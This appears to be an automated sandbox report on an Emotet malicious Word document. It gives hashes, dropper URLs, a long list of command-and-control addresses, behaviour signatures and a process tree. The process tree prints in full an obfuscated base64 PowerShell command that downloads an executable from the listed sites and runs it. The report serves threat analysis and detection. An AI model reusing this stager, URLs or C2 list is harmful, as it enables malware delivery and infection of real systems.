Analysis
- max time kernel
135s - max time network
145s - platform
windows10_x64 - resource
win10 - submitted
17/08/2020, 17:28
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_dc59ccd2deab16bcbbc7fa331f6e6b2c06bdb89305fff0d38b67d6f49d4b10ec_2020-08-17__172706._doc.doc
Resource
win7v200722
General
- Target emotet_e3_dc59ccd2deab16bcbbc7fa331f6e6b2c06bdb89305fff0d38b67d6f49d4b10ec_2020-08-17__172706._doc.doc
- Size 232KB
- Sample200817-91ve8tm65s
- SHA256 dc59ccd2deab16bcbbc7fa331f6e6b2c06bdb89305fff0d38b67d6f49d4b10ec
- MD5 e59ee7ae4eebcf8bb9f56ad8e489a871
- SHA1 c885407849332191b4c45fe54cd699b26545c817
- SHA512 b0768d5078cb8abaf8abbd91735d3ad7b64a3911573f408df82290a8245c726e8affa74db93926201de2086e538bf2204b560a5b609c536b9b9a256344d80335
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
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exe.dropper
https://dev.dosily.in/wp-content/qyY/
-
exe.dropper
http://behnasan.com/wp-content/uZRqx/
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exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
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exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/
Extracted
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emotet
-
186.109.104.67:80
-
185.86.148.68:443
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139.99.157.213:8080
-
105.213.67.88:80
-
190.53.144.120:80
-
203.153.216.182:7080
-
81.214.253.80:443
-
195.201.56.70:8080
-
201.213.177.139:80
-
31.146.61.34:80
-
177.144.130.105:443
-
92.24.51.238:80
-
197.83.232.19:80
-
105.209.235.113:8080
-
188.0.135.237:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
188.251.213.180:443
-
87.106.231.60:8080
-
113.161.148.81:80
-
97.104.107.190:80
-
86.57.216.23:80
-
192.163.221.191:8080
-
115.79.195.246:80
-
5.79.70.250:8080
-
41.84.237.198:443
-
46.105.131.68:8080
-
77.74.78.80:443
-
105.184.233.166:80
-
91.83.93.103:443
-
187.64.128.197:80
-
185.208.226.142:8080
-
177.32.8.85:80
-
46.32.229.152:8080
-
177.37.81.212:443
-
66.61.94.36:80
-
190.212.140.6:80
-
212.112.113.235:80
-
190.190.15.20:80
-
75.127.14.170:8080
-
172.96.190.154:8080
-
192.241.220.183:8080
-
41.185.29.128:8080
-
182.176.95.147:80
-
37.46.129.215:8080
-
181.134.9.162:80
-
201.235.10.215:80
-
181.113.229.139:443
-
181.114.114.203:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
198.57.203.63:8080
-
185.142.236.163:443
-
71.57.180.213:80
-
115.78.11.155:80
-
217.199.160.224:8080
-
172.105.78.244:8080
-
115.165.3.213:80
-
202.5.47.71:80
-
81.17.93.134:80
-
74.208.173.91:8080
-
192.210.217.94:8080
-
179.62.238.49:80
-
157.7.164.178:8081
-
143.95.101.72:8080
-
182.187.139.200:8080
-
216.75.37.196:8080
-
139.59.12.63:8080
-
203.153.216.178:7080
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50.116.78.109:8080
-
51.38.201.19:7080
-
107.161.30.122:8080
-
177.94.227.143:80
-
78.189.60.109:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 512 1012 powersheLL.exe 68 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1764-14-0x0000000000760000-0x000000000076C000-memory.dmp emotet behavioral2/memory/1764-14-0x0000000000760000-0x000000000076C000-memory.dmp emotet behavioral2/memory/2152-17-0x0000000002050000-0x000000000205C000-memory.dmp emotet behavioral2/memory/2152-17-0x0000000002050000-0x000000000205C000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 11 512 powersheLL.exe 13 512 powersheLL.exe 15 512 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1764 Ycfq.exe 2152 SystemPropertiesPerformance.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\davhlpr\SystemPropertiesPerformance.exe Ycfq.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3908 WINWORD.EXE 3908 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 512 powersheLL.exe 512 powersheLL.exe 512 powersheLL.exe 2152 SystemPropertiesPerformance.exe 2152 SystemPropertiesPerformance.exe 2152 SystemPropertiesPerformance.exe 2152 SystemPropertiesPerformance.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 512 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 1764 Ycfq.exe 1764 Ycfq.exe 2152 SystemPropertiesPerformance.exe 2152 SystemPropertiesPerformance.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 512 wrote to memory of 1764 512 powersheLL.exe 75 PID 512 wrote to memory of 1764 512 powersheLL.exe 75 PID 512 wrote to memory of 1764 512 powersheLL.exe 75 PID 1764 wrote to memory of 2152 1764 Ycfq.exe 76 PID 1764 wrote to memory of 2152 1764 Ycfq.exe 76 PID 1764 wrote to memory of 2152 1764 Ycfq.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_dc59ccd2deab16bcbbc7fa331f6e6b2c06bdb89305fff0d38b67d6f49d4b10ec_2020-08-17__172706._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\SysWOW64\davhlpr\SystemPropertiesPerformance.exe"C:\Windows\SysWOW64\davhlpr\SystemPropertiesPerformance.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2152
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